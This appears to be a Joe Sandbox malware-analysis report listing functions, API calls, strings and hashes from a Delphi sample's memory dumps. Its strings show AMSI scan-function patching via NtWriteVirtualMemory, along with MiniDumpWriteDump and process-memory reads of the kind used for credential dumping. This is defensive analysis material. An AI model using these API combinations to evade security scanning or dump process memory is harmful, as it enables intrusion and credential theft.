NtReadVirtualMemory, xrefs: 0286A458
NtOpenProcess, xrefs: 0286A6DB
bcrypt, xrefs: 0286A3B0, 0286A3C4, 0286A3D8
Initialize, xrefs: 02868F22, 02869530, 028696B7, 02869AA0, 02869D02, 02869E72, 02869FE5, 0286A24A, 0286A57B
NtOpenObjectAuditAlarm, xrefs: 0286A46C, 0286A524
BCryptRegisterProvider, xrefs: 0286A3D3
MiniDumpWriteDump, xrefs: 0286A54C
dbgcore, xrefs: 0286A551, 0286A565
NtSetSecurityObject, xrefs: 0286A6C7
ScanString, xrefs: 02868C3A, 02868DE5, 02868F93, 028693BB, 028695A1, 02869728, 02869BB5, 02869D73, 02869EE3, 0286A056, 0286A341, 0286A3EE
UacInitialize, xrefs: 02868E6A, 028691CB, 0286934A, 0286944E, 0286A168

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Library$AddressContextFreeHandleLoadModuleProcThread
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 1116111917-51457883
Opcode ID: ba047339597340717074daaeef836e2ef1157bfae6e2b7984e64cb29b3f914d3
Instruction ID: 19c262051ef7ab097f31c61fd34c52075041859938510b0c68a8d63b2108fc1e
Opcode Fuzzy Hash: ba047339597340717074daaeef836e2ef1157bfae6e2b7984e64cb29b3f914d3
Instruction Fuzzy Hash: 43E23E3CA501298FDB15EF68CC94BEE73FABF84300F1041A1A949EB215DA74DE859F52

Function 028558B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02856BC8,02850000,0287E790), ref: 028558D1
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 028558E8
lstrcpynA.KERNEL32(?,?,?), ref: 02855918
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02856BC8,02850000,0287E790), ref: 0285597C
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02856BC8,02850000,0287E790), ref: 028559B2
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02856BC8,02850000,0287E790), ref: 028559C5
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02856BC8,02850000,0287E790), ref: 028559D7
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02856BC8,02850000,0287E790), ref: 028559E3
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02856BC8,02850000), ref: 02855A17
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02856BC8), ref: 02855A23
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02855A45

Strings

GetLongPathNameA, xrefs: 028558DF
kernel32.dll, xrefs: 028558CC
\, xrefs: 028559F5

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: fc23abc29e07de56c374af2216af964bd80183c5971cd5f4db07089fe8a37d45
Instruction ID: 2ecb67da340d402d64881631607c8392370a19dd55f31cc0a057653d190bea68
Opcode Fuzzy Hash: fc23abc29e07de56c374af2216af964bd80183c5971cd5f4db07089fe8a37d45
Instruction Fuzzy Hash: 7F417F7DD00269AFDB10DAE8CC88BDEB7BEAF08340F4445A5A948E7241D7389B448F50

Function 02855B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02855B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02855BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02855BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02855BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02855C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02855C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02855C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02855C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02855C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02855C97

Strings

Software\Borland\Locales, xrefs: 02855AA8, 02855AC6
Software\Borland\Delphi\Locales, xrefs: 02855AE4

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction ID: ed4a6ea50121edde178e9a6d001c83e9a115e6fb67681cad4a3d0340b15d167b
Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction Fuzzy Hash: B731877DE4023C6AFB25D6B89C49FDFB7BD5B04380F4401E19A08E6181EB789E848F52

Function 02868798 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028B23A4,0286A3BF,ScanString,028B23A4,0286A774,ScanBuffer,028B23A4,0286A774,Initialize,028B23A4,0286A774,UacScan), ref: 028687AC
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028687C6
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028B23A4,0286A3BF,ScanString,028B23A4,0286A774,ScanBuffer,028B23A4,0286A774,Initialize), ref: 02868802

Part of subcall function 02867CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02867D6C

Strings

BCryptVerifySignature, xrefs: 028687BF
bcrypt, xrefs: 028687AB

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 1d36545479db41b1c5625e9a2323d076f2ac2d68fb41534610403492343f5431
Instruction ID: ef323e4a2788462f173992f0850cc922d243a5ae62ecfcefa93257051e67e1f4
Opcode Fuzzy Hash: 1d36545479db41b1c5625e9a2323d076f2ac2d68fb41534610403492343f5431
Instruction Fuzzy Hash: 66F0AF7DA802249EE312AA69AC48F6637DCB78A315F0C092EBD0ECB2E4D77408148B50

Function 0286DF00 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 02854ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02854EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0286DFD2), ref: 0286DF3F
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0286DF79
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0286DFA6
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0286DFAF

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: 700e33c91148180bcb147877a0412ab906ccceec582eb81a95e47b47860685a0
Instruction ID: 402f3b21e5b97ac14f54955d756d5803cc75b53d7f62e56bb19f489cbd630ca0
Opcode Fuzzy Hash: 700e33c91148180bcb147877a0412ab906ccceec582eb81a95e47b47860685a0
Instruction Fuzzy Hash: AF21F179B40318BEEB20EAE4CC46FAEB7BDDB04B00F504561B604FB1D0D7B46E048A96

Function 0286DE24 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL(?,?), ref: 0286DEA0
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0286DEF2), ref: 0286DEB6
NtDeleteFile.NTDLL(?), ref: 0286DED5

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Path$DeleteFileInitNameName_StringUnicode
String ID:
API String ID: 1459852867-0
Opcode ID: 7f4869f168869c62e43f020dce931f3ddc7ebaa4ada3ab4516d04c724069172f
Instruction ID: 5cd15c635505328ac3dca59fda871316c07b5f4fd21f866dd0e2d0addc2df348
Opcode Fuzzy Hash: 7f4869f168869c62e43f020dce931f3ddc7ebaa4ada3ab4516d04c724069172f
Instruction Fuzzy Hash: B701867EB443486EEB05EBE4CD85BED77BDAB64704F5100E29200E6092DB746B088B22

Function 0286DE78 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02854ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02854EDA

RtlInitUnicodeString.NTDLL(?,?), ref: 0286DEA0
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0286DEF2), ref: 0286DEB6
NtDeleteFile.NTDLL(?), ref: 0286DED5

Part of subcall function 02854C0C: SysFreeString.OLEAUT32(0286ED84), ref: 02854C1A

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 1694942484-0
Opcode ID: fd30b3c732170351ebd8ca7e139e6809aef675a2e10b5a9777ed04babeb91092
Instruction ID: 6e80ebdc099341695187ec96f0fbccdd2209b5426c6b15742c646c31dd27b5fd
Opcode Fuzzy Hash: fd30b3c732170351ebd8ca7e139e6809aef675a2e10b5a9777ed04babeb91092
Instruction Fuzzy Hash: 2101FF7DA40208BAEB11EBE4CD46FDEB7FDEB58700F5144B1A604E2580EB74AB048A65

Function 02857F54 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02857F75

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 0fbec54a0c02fd547ee90df4e96e63df58f4455ae2e88ae87e717fe42b60fd3b
Instruction ID: 59bdc8ce9704f40ad4905f4b044f044fcd5707ba0acb2095ee9e9e30d9b833a0
Opcode Fuzzy Hash: 0fbec54a0c02fd547ee90df4e96e63df58f4455ae2e88ae87e717fe42b60fd3b
Instruction Fuzzy Hash: 821100B5A00209AF9B04CF99C8809EFF7F9EFC8304B54C569A909EB254E6319A018B90

Function 0285A744 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0285A762

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction ID: 4972bfc3084c4cb9bc77423c4175f8b66a5d282f19bbaece811d37ace2a7778a
Opcode Fuzzy Hash: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction Fuzzy Hash: 9DE0923D70022817D315A96C9C809E673AD9758350F00426AAD49C7341FDA09E844AE9

Function 0285B70C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,0287D106,00000000,0287D11E), ref: 0285B71A

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 744ddc2d7fea2942684bca39bbe956b6a150a627fd9a4e225a0329015fddb07d
Instruction ID: 4f771f591b66aa0b93190a8399b852d624687fc189a1d9bccbbafa61707cbc48
Opcode Fuzzy Hash: 744ddc2d7fea2942684bca39bbe956b6a150a627fd9a4e225a0329015fddb07d
Instruction Fuzzy Hash: 30F0127C9083118FD340DF28D544A1677E9FB48B88F408DA8EA98C73A0E734D828CF52

Function 0285A790 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0285BDF2,00000000,0285C00B,?,?,00000000,00000000), ref: 0285A7A3

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction ID: ff9c3d2e3e44a42bb9de128c1f10a1b86be38f817ec17dedad1256c0dd13b7aa
Opcode Fuzzy Hash: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction Fuzzy Hash: 0CD05EAE30E2742AA224915A2D84D7B5AFCCAC57A1F00413EFA88C6201E2108C0596F1

Function 0285918C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 02859190

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction ID: 372ca941af9c4dee0b87a5b11e0a1578b61918e2114cd93e6fa74046573cc6d0
Opcode Fuzzy Hash: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction Fuzzy Hash: 77A01108808830028A803B2C0C0223A30C8A800A20FC80F80ACF8802E2FE2E022080E3

Function 0287E59A Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdec562d7fc803ffdd465c00ed372d1a905f5e2b60d7a7edb4b9137acafa7d7d
Instruction ID: d243ca70814d8cfc31192da525124820162af206e19698ca1d05d8563ae2e772
Opcode Fuzzy Hash: cdec562d7fc803ffdd465c00ed372d1a905f5e2b60d7a7edb4b9137acafa7d7d
Instruction Fuzzy Hash: 6B51073A09D3C29FCB438FB884652927FF1EE4322470905EAD894CF063E359989BDB51

Function 028520C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 0285D214 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 0285D21D

Part of subcall function 0285D1E8: GetProcAddress.KERNEL32(00000000), ref: 0285D201

Strings

VarR8FromStr, xrefs: 0285D375
VarBstrFromCy, xrefs: 0285D3CD
VarBoolFromStr, xrefs: 0285D3B7
VarDiv, xrefs: 0285D2AF
VarNeg, xrefs: 0285D241
VarCmp, xrefs: 0285D333
VarIdiv, xrefs: 0285D2C5
VarR4FromStr, xrefs: 0285D35F
VarBstrFromDate, xrefs: 0285D3E3
VarOr, xrefs: 0285D307
VarCyFromStr, xrefs: 0285D3A1
VarAdd, xrefs: 0285D26D
VarSub, xrefs: 0285D283
VarI4FromStr, xrefs: 0285D349
VarNot, xrefs: 0285D257
VarDateFromStr, xrefs: 0285D38B
VarMod, xrefs: 0285D2DB
VariantChangeTypeEx, xrefs: 0285D22B
VarMul, xrefs: 0285D299
VarBstrFromBool, xrefs: 0285D3F9
oleaut32.dll, xrefs: 0285D218
VarXor, xrefs: 0285D31D
VarAnd, xrefs: 0285D2F1

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: eef54a734f87b552337951117e795fd67c5dd7ae8c84bb20c28a4483c50798bb
Instruction ID: e27b796843284e191fc50db9b6b3714e81cdd35a4d0f51f1e4bf5fdf19803f46
Opcode Fuzzy Hash: eef54a734f87b552337951117e795fd67c5dd7ae8c84bb20c28a4483c50798bb
Instruction Fuzzy Hash: D0419A6DEC42285B56096B6D7400427FFDED6887143A0851FFE04CB788DEA0BD998E6B

Function 02866E58 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02866E5E
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02866E6F
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02866E7F
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02866E8F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02866E9F
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02866EAF
GetProcAddress.KERNEL32 ref: 02866EBF

Strings

CoResumeClassObjects, xrefs: 02866EA9
CoCreateInstanceEx, xrefs: 02866E69
CoReleaseServerProcess, xrefs: 02866E99
